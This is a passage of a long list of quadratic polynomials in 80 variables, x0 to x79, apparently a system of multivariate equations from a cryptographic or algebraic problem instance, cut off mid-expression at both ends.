+ x27*x57 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x72 + x27*x73 + x27*x75 + x27*x76 + x27*x77 + x27 + x28*x29 + x28*x30 + x28*x31 + x28*x32 + x28*x34 + x28*x35 + x28*x37 + x28*x38 + x28*x39 + x28*x42 + x28*x43 + x28*x45 + x28*x47 + x28*x48 + x28*x50 + x28*x51 + x28*x52 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x58 + x28*x59 + x28*x61 + x28*x67 + x28*x68 + x28*x71 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x32 + x29*x35 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x45 + x29*x48 + x29*x49 + x29*x53 + x29*x57 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x65 + x29*x69 + x29*x74 + x29*x75 + x30*x33 + x30*x34 + x30*x36 + x30*x38 + x30*x40 + x30*x51 + x30*x52 + x30*x55 + x30*x60 + x30*x62 + x30*x64 + x30*x65 + x30*x66 + x30*x73 + x30*x74 + x30*x75 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x34 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x42 + x31*x43 + x31*x45 + x31*x53 + x31*x55 + x31*x56 + x31*x58 + x31*x59 + x31*x62 + x31*x64 + x31*x69 + x31*x71 + x31*x73 + x31*x74 + x31*x76 + x31*x77 + x32*x33 + x32*x34 + x32*x35 + x32*x38 + x32*x41 + x32*x42 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x57 + x32*x58 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x65 + x32*x69 + x32*x70 + x32*x73 + x32*x74 + x32*x77 + x32*x79 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x43 + x33*x45 + x33*x46 + x33*x48 + x33*x52 + x33*x58 + x33*x60 + x33*x62 + x33*x63 + x33*x66 + x33*x69 + x33*x70 + x33*x73 + x33*x75 + x33*x76 + x33*x77 + x33 + x34*x36 + x34*x38 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x51 + x34*x52 + x34*x54 + x34*x56 + x34*x57 + x34*x59 + x34*x62 + x34*x63 + x34*x67 + x34*x68 + x34*x70 + x34*x72 + x34*x73 + x34*x75 + x34*x76 + x34*x77 + x34*x78 + x34*x79 + x34 + x35*x39 + x35*x42 + x35*x45 + x35*x46 + x35*x47 + x35*x48 + x35*x50 + x35*x51 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x62 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x73 + x35*x74 + x35*x75 + x36*x37 + x36*x38 + x36*x39 + x36*x41 + x36*x43 + x36*x44 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x52 + x36*x53 + x36*x56 + x36*x57 + x36*x58 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x66 + x36*x67 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x73 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x39 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x46 + x37*x49 + x37*x53 + x37*x61 + x37*x65 + x37*x69 + x37*x70 + x37*x74 + x37*x77 + x37 + x38*x40 + x38*x42 + x38*x45 + x38*x48 + x38*x49 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x60 + x38*x63 + x38*x65 + x38*x66 + x38*x68 + x38*x69 + x38*x70 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x47 + x39*x49 + x39*x50 + x39*x51 + x39*x57 + x39*x58 + x39*x62 + x39*x63 + x39*x64 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x73 + x39*x75 + x39*x76 + x39*x78 + x39 + x40*x45 + x40*x47 + x40*x49 + x40*x50 + x40*x53 + x40*x54 + x40*x55 + x40*x58 + x40*x61 + x40*x63 + x40*x64 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x72 + x40*x73 + x40*x75 + x40*x77 + x40*x78 + x41*x44 + x41*x45 + x41*x49 + x41*x51 + x41*x53 + x41*x58 + x41*x62 + x41*x65 + x41*x67 + x41*x71 + x41*x73 + x41*x75 + x41*x76 + x41 + x42*x43 + x42*x46 + x42*x47 + x42*x48 + x42*x49 + x42*x51 + x42*x52 + x42*x55 + x42*x57 + x42*x58 + x42*x60 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x67 + x42*x69 + x42*x71 + x42*x74 + x42*x76 + x42*x78 + x42*x79 + x43*x44 + x43*x50 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x57 + x43*x59 + x43*x61 + x43*x62 + x43*x63 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x73 + x43*x74 + x43*x75 + x43*x78 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x49 + x44*x53 + x44*x57 + x44*x61 + x44*x67 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x73 + x44*x78 + x44*x79 + x44 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x59 + x45*x66 + x45*x69 + x45*x72 + x45*x74 + x45*x76 + x45*x77 + x45*x78 + x45 + x46*x48 + x46*x49 + x46*x50 + x46*x54 + x46*x56 + x46*x59 + x46*x60 + x46*x61 + x46*x62 + x46*x65 + x46*x68 + x46*x69 + x46*x71 + x46*x74 + x46*x78 + x47*x49 + x47*x50 + x47*x53 + x47*x54 + x47*x58 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x49 + x48*x59 + x48*x60 + x48*x62 + x48*x63 + x48*x65 + x48*x66 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x79 + x49*x50 + x49*x51 + x49*x56 + x49*x58 + x49*x60 + x49*x64 + x49*x67 + x49*x69 + x49*x72 + x49*x74 + x49*x77 + x49*x79 + x50*x51 + x50*x53 + x50*x55 + x50*x57 + x50*x59 + x50*x61 + x50*x62 + x50*x67 + x50*x68 + x50*x69 + x50*x73 + x50*x75 + x50*x77 + x50*x78 + x50 + x51*x52 + x51*x56 + x51*x58 + x51*x59 + x51*x61 + x51*x62 + x51*x63 + x51*x67 + x51*x70 + x51*x71 + x51*x73 + x51*x74 + x51*x75 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x56 + x52*x57 + x52*x60 + x52*x63 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x69 + x52*x73 + x52*x74 + x52*x79 + x52 + x53*x54 + x53*x57 + x53*x58 + x53*x60 + x53*x62 + x53*x65 + x53*x66 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x79 + x53 + x54*x56 + x54*x61 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x72 + x54*x73 + x54*x74 + x54*x76 + x54 + x55*x56 + x55*x57 + x55*x59 + x55*x64 + x55*x66 + x55*x70 + x55*x73 + x55*x78 + x55*x79 + x56*x57 + x56*x59 + x56*x60 + x56*x64 + x56*x66 + x56*x67 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x59 + x57*x61 + x57*x64 + x57*x65 + x57*x70 + x57*x73 + x57*x74 + x57*x76 + x57 + x58*x60 + x58*x61 + x58*x62 + x58*x66 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x79 + x58 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x69 + x59*x73 + x59*x74 + x59*x76 + x59*x77 + x59*x78 + x59*x79 + x60*x61 + x60*x67 + x60*x69 + x60*x72 + x60*x73 + x60*x76 + x60*x78 + x60*x79 + x61*x62 + x61*x63 + x61*x64 + x61*x69 + x61*x70 + x61*x71 + x61*x73 + x61*x74 + x61*x76 + x62*x63 + x62*x64 + x62*x69 + x62*x71 + x62*x72 + x62*x75 + x62*x77 + x62*x78 + x62 + x63*x65 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x75 + x63*x76 + x64*x66 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x75 + x64*x79 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x72 + x65*x76 + x65*x79 + x65 + x66*x67 + x66*x69 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x78 + x66*x79 + x67*x71 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67 + x68*x70 + x68*x74 + x68*x75 + x68*x76 + x68*x77 + x68*x78 + x68 + x69*x70 + x69*x71 + x69*x72 + x69*x73 + x69*x77 + x69*x79 + x70*x74 + x70*x76 + x70*x78 + x70 + x71*x73 + x71*x74 + x71*x76 + x71*x77 + x71*x78 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x77 + x72*x78 + x72*x79 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x77 + x74*x78 + x74 + x75*x78 + x75 + x76*x77 + x76*x78 + x77*x78 + x77*x79 + x77 + x78*x79 + x78 + 1, x0*x1 + x0*x4 + x0*x5 + x0*x7 + x0*x8 + x0*x9 + x0*x11 + x0*x12 + x0*x13 + x0*x18 + x0*x24 + x0*x25 + x0*x27 + x0*x28 + x0*x29 + x0*x32 + x0*x33 + x0*x37 + x0*x39 + x0*x40 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x50 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x59 + x0*x61 + x0*x66 + x0*x68 + x0*x69 + x0*x70 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0*x78 + x0 + x1*x3 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x19 + x1*x20 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x28 + x1*x32 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x51 + x1*x53 + x1*x55 + x1*x56 + x1*x57 + x1*x59 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x76 + x1*x77 + x1*x79 + x1 + x2*x4 + x2*x6 + x2*x8 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x18 + x2*x23 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x33 + x2*x34 + x2*x35 + x2*x41 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x49 + x2*x50 + x2*x58 + x2*x59 + x2*x61 + x2*x65 + x2*x68 + x2*x70 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x7 + x3*x13 + x3*x15 + x3*x17 + x3*x24 + x3*x25 + x3*x28 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x44 + x3*x46 + x3*x47 + x3*x49 + x3*x50 + x3*x51 + x3*x52 + x3*x54 + x3*x55 + x3*x58 + x3*x61 + x3*x62 + x3*x63 + x3*x67 + x3*x70 + x3*x72 + x3*x75 + x3*x78 + x4*x9 + x4*x13 + x4*x14 + x4*x17 + x4*x19 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x40 + x4*x41 + x4*x42 + x4*x45 + x4*x46 + x4*x51 + x4*x52 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x61 + x4*x62 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x5*x6 + x5*x8 + x5*x9 + x5*x11 + x5*x12 + x5*x14 + x5*x15 + x5*x16 + x5*x21 + x5*x24 + x5*x26 + x5*x27 + x5*x30 + x5*x31 + x5*x32 + x5*x34 + x5*x35 + x5*x37 + x5*x39 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x56 + x5*x57 + x5*x58 + x5*x59 + x5*x60 + x5*x62 + x5*x65 + x5*x68 + x5*x69 + x5*x70 + x5*x73 + x5*x74 + x5*x75 + x5*x77 + x6*x11 + x6*x14 + x6*x17 + x6*x19 + x6*x20 + x6*x22 + x6*x24 + x6*x26 + x6*x28 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x42 + x6*x43 + x6*x44 + x6*x46 + x6*x50 + x6*x52 + x6*x56 + x6*x57 + x6*x60 + x6*x62 + x6*x63 + x6*x64 + x6*x66 + x6*x68 + x6*x70 + x6*x71 + x6*x74 + x6*x75 + x6*x77 + x6*x78 + x7*x9 + x7*x10 + x7*x13 + x7*x16 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x32 + x7*x34 + x7*x35 + x7*x37 + x7*x39 + x7*x41 + x7*x43 + x7*x44 + x7*x45 + x7*x48 + x7*x49 + x7*x52 + x7*x58 + x7*x64 + x7*x65 + x7*x68 + x7*x76 + x7*x77 + x7*x78 + x7*x79 + x8*x10 + x8*x12 + x8*x13 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x23 + x8*x25 + x8*x26 + x8*x27 + x8*x29 + x8*x31 + x8*x32 + x8*x35 + x8*x37 + x8*x38 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x55 + x8*x56 + x8*x57 + x8*x58 + x8*x59 + x8*x61 + x8*x62 + x8*x64 + x8*x66 + x8*x67 + x8*x69 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x9*x11 + x9*x12 + x9*x14 + x9*x16 + x9*x17 + x9*x20 + x9*x21 + x9*x22 + x9*x27 + x9*x28 + x9*x29 + x9*x32 + x9*x33 + x9*x34 + x9*x35 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x43 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x52 + x9*x53 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x67 + x9*x68 + x9*x69 + x9*x72 + x9*x74 + x9*x78 + x9*x79 + x9 + x10*x11 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x29 + x10*x38 + x10*x39 + x10*x42 + x10*x43 + x10*x46 + x10*x48 + x10*x50 + x10*x51 + x10*x52 + x10*x53 + x10*x56 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x62 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x76 + x10*x79 + x11*x12 + x11*x13 + x11*x15 + x11*x16 + x11*x20 + x11*x28 + x11*x29 + x11*x30 + x11*x31 + x11*x34 + x11*x36 + x11*x40 + x11*x42 + x11*x46 + x11*x47 + x11*x49 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x55 + x11*x58 + x11*x61 + x11*x62 + x11*x63 + x11*x65 + x11*x67 + x11*x68 + x11*x70 + x11*x73 + x11*x75 + x11*x76 + x11*x79 + x11 + x12*x19 + x12*x20 + x12*x23 + x12*x26 + x12*x28 + x12*x30 + x12*x32 + x12*x35 + x12*x41 + x12*x43 + x12*x45 + x12*x47 + x12*x49 + x12*x55 + x12*x57 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x64 + x12*x68 + x12*x73 + x12*x74 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x26 + x13*x28 + x13*x30 + x13*x31 + x13*x32 + x13*x34 + x13*x37 + x13*x41 + x13*x43 + x13*x44 + x13*x45 + x13*x47 + x13*x48 + x13*x50 + x13*x52 + x13*x53 + x13*x54 + x13*x58 + x13*x60 + x13*x61 + x13*x64 + x13*x65 + x13*x66 + x13*x70 + x13*x71 + x13*x73 + x13*x75 + x13*x78 + x13*x79 + x13 + x14*x16 + x14*x18 + x14*x19 + x14*x22 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x32 + x14*x34 + x14*x35 + x14*x36 + x14*x37 + x14*x39 + x14*x44 + x14*x45 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x61 + x14*x62 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x71 + x14*x72 + x14*x75 + x14*x76 + x15*x16 + x15*x20 + x15*x22 + x15*x26 + x15*x28 + x15*x30 + x15*x31 + x15*x33 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x48 + x15*x52 + x15*x53 + x15*x59 + x15*x61 + x15*x63 + x15*x65 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x74 + x15*x79 + x16*x17 + x16*x18 + x16*x19 + x16*x21 + x16*x22 + x16*x24 + x16*x25 + x16*x26 + x16*x27 + x16*x28 + x16*x33 + x16*x34 + x16*x37 + x16*x38 + x16*x41 + x16*x46 + x16*x47 + x16*x48 + x16*x52 + x16*x53 + x16*x56 + x16*x57 + x16*x58 + x16*x62 + x16*x66 + x16*x67 + x16*x68 + x16*x70 + x16*x71 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x22 + x17*x24 + x17*x25 + x17*x26 + x17*x32 + x17*x34 + x17*x36 + x17*x39 + x17*x41 + x17*x43 + x17*x44 + x17*x45 + x17*x49 + x17*x50 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x60 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x68 + x17*x71 + x17*x74 + x17 + x18*x19 + x18*x22 + x18*x24 + x18*x25 + x18*x29 + x18*x31 + x18*x37 + x18*x42 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x49 + x18*x51 + x18*x52 + x18*x53 + x18*x55 + x18*x56 + x18*x60 + x18*x63 + x18*x64 + x18*x70 + x18*x71 + x18*x75 + x18*x76 + x18*x77 + x18*x79 + x19*x21 + x19*x22 + x19*x23 + x19*x25 + x19*x28 + x19*x29 + x19*x32 + x19*x34 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x41 + x19*x44 + x19*x46 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x56 + x19*x62 + x19*x63 + x19*x67 + x19*x68 + x19*x69 + x19*x70 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x19*x78 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x26 + x20*x27 + x20*x28 + x20*x29 + x20*x32 + x20*x34 + x20*x35 + x20*x36 + x20*x41 + x20*x43 + x20*x45 + x20*x46 + x20*x49 + x20*x50 + x20*x51 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x62 + x20*x63 + x20*x65 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x75 + x20*x76 + x20*x77 + x20*x79 + x21*x26 + x21*x28 + x21*x34 + x21*x38 + x21*x39 + x21*x40 + x21*x42 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x51 + x21*x52 + x21*x56 + x21*x60 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x75 + x21*x76 + x21*x78 + x22*x26 + x22*x28 + x22*x29 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x41 + x22*x42 + x22*x43 + x22*x47 + x22*x48 + x22*x50 + x22*x51 + x22*x53 + x22*x56 + x22*x57 + x22*x58 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x77 + x22*x79 + x22 + x23*x24 + x23*x27 + x23*x28 + x23*x29 + x23*x32 + x23*x33 + x23*x35 + x23*x37 + x23*x40 + x23*x41 + x23*x42 + x23*x43 + x23*x45 + x23*x48 + x23*x50 + x23*x51 + x23*x53 + x23*x57 + x23*x61 + x23*x62 + x23*x63 + x23*x65 + x23*x66 + x23*x70 + x23*x71 + x23*x74 + x23*x76 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x32 + x24*x38 + x24*x40 + x24*x44 + x24*x45 + x24*x47 + x24*x49 + x24*x50 + x24*x52 + x24*x56 + x24*x58 + x24*x65 + x24*x68 + x24*x73 + x24*x74 + x24*x75 + x24*x79 + x24 + x25*x28 + x25*x29 + x25*x33 + x25*x34 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x43 + x25*x46 + x25*x48 + x25*x49 + x25*x50 + x25*x52 + x25*x53 + x25*x55 + x25*x57 + x25*x64 + x25*x66 + x25*x67 + x25*x69 + x25*x70 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x25 + x26*x28 + x26*x29 + x26*x33 + x26*x34 + x26*x35 + x26*x38 + x26*x41 + x26*x43 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x59 + x26*x60 + x26*x64 + x26*x65 + x26*x67 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x75 + x26*x76 + x26*x77 + x26*x79 + x27*x28 + x27*x30 + x27*x31 + x27*x33 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x43 + x27*x44 + x27*x45 + x27*x48 + x27*x49 + x27*x50 + x27*x53 + x27*x55 + x27*x56 + x27*x58 + x27*x63 + x27*x69 + x27*x70 + x27*x72 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x79 + x27 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x47 + x28*x49 + x28*x51 + x28*x53 + x28*x55 + x28*x56 + x28*x57 + x28*x58 + x28*x61 + x28*x62 + x28*x64 + x28*x72 + x28*x75 + x28*x79 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x40 + x29*x41 + x29*x46 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x66 + x29*x69 + x29*x71 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x31 + x30*x34 + x30*x35 + x30*x37 + x30*x39 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x55 + x30*x56 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x65 + x30*x66 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x75 + x30*x76 + x30*x79 + x31*x32 + x31*x33 + x31*x34 + x31*x36 + x31*x37 + x31*x38 + x31*x39 + x31*x46 + x31*x47 + x31*x50 + x31*x53 + x31*x54 + x31*x56 + x31*x58 + x31*x60 + x31*x61 + x31*x63 + x31*x65 + x31*x67 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x74 + x31*x76 + x31*x77 + x31*x79 + x31 + x32*x33 + x32*x35 + x32*x37 + x32*x40 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x65 + x32*x66 + x32*x67 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x79 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x42 + x33*x43 + x33*x45 + x33*x51 + x33*x53 + x33*x54 + x33*x57 + x33*x58 + x33*x60 + x33*x61 + x33*x63 + x33*x64 + x33*x65 + x33*x70 + x33*x71 + x33*x76 + x33*x77 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x39 + x34*x40 + x34*x41 + x34*x43 + x34*x44 + x34*x45 + x34*x50 + x34*x52 + x34*x53 + x34*x54 + x34*x56 + x34*x57 + x34*x59 + x34*x60 + x34*x61 + x34*x62 + x34*x65 + x34*x70 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x76 + x34*x78 + x34*x79 + x35*x38 + x35*x44 + x35*x45 + x35*x47 + x35*x53 + x35*x54 + x35*x55 + x35*x57 + x35*x59 + x35*x60 + x35*x61 + x35*x62 + x35*x64 + x35*x68 + x35*x69 + x35*x72 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35 + x36*x38 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x46 + x36*x47 + x36*x50 + x36*x53 + x36*x54 + x36*x55 + x36*x58 + x36*x60 + x36*x63 + x36*x67 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x77 + x36*x78 + x36*x79 + x36 + x37*x40 + x37*x41 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x54 + x37*x57 + x37*x58 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x69 + x37*x73 + x37*x76 + x38*x41 + x38*x42 + x38*x44 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x55 + x38*x56 + x38*x58 + x38*x61 + x38*x63 + x38*x66 + x38*x67 + x38*x68 + x38*x70 + x38*x72 + x38*x73 + x38*x75 + x39*x42 + x39*x43 + x39*x47 + x39*x49 + x39*x51 + x39*x55 + x39*x56 + x39*x57 + x39*x59 + x39*x61 + x39*x67 + x39*x68 + x39*x72 + x39*x73 + x39*x74 + x39*x77 + x39*x79 + x40*x42 + x40*x43 + x40*x44 + x40*x46 + x40*x47 + x40*x48 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x57 + x40*x61 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x53 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x63 + x41*x65 + x41*x67 + x41*x68 + x41*x70 + x41*x76 + x41*x78 + x41 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x56 + x42*x59 + x42*x60 + x42*x63 + x42*x64 + x42*x67 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x73 + x42*x75 + x42*x79 + x42 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x49 + x43*x50 + x43*x53 + x43*x54 + x43*x58 + x43*x59 + x43*x60 + x43*x61 + x43*x62 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x70 + x43*x71 + x43*x74 + x43*x76 + x43 + x44*x45 + x44*x49 + x44*x50 + x44*x51 + x44*x56 + x44*x57 + x44*x60 + x44*x62 + x44*x63 + x44*x64 + x44*x65 + x44*x70 + x44*x72 + x44*x73 + x44*x74 + x44*x77 + x44 + x45*x48 + x45*x49 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x57 + x45*x61 + x45*x62 + x45*x64 + x45*x65 + x45*x68 + x45*x69 + x45*x70 + x45*x71 + x45*x73 + x45*x74 + x45*x75 + x45*x76 + x45*x79 + x46*x48 + x46*x50 + x46*x52 + x46*x57 + x46*x59 + x46*x60 + x46*x62 + x46*x65 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x74 + x46*x75 + x46*x78 + x46 + x47*x49 + x47*x53 + x47*x54 + x47*x55 + x47*x57 + x47*x59 + x47*x62 + x47*x63 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x47 + x48*x50 + x48*x53 + x48*x54 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x63 + x48*x65 + x48*x66 + x48*x68 + x48*x69 + x48*x73 + x48*x75 + x48*x77 + x48*x78 + x48*x79 + x48 + x49*x50 + x49*x51 + x49*x53 + x49*x58 + x49*x59 + x49*x62 + x49*x64 + x49*x65 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x54 + x50*x56 + x50*x57 + x50*x60 + x50*x62 + x50*x63 + x50*x64 + x50*x66 + x50*x68 + x50*x69 + x50*x70 + x50*x71 + x50*x72 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x53 + x51*x55 + x51*x56 + x51*x57 + x51*x64 + x51*x65 + x51*x68 + 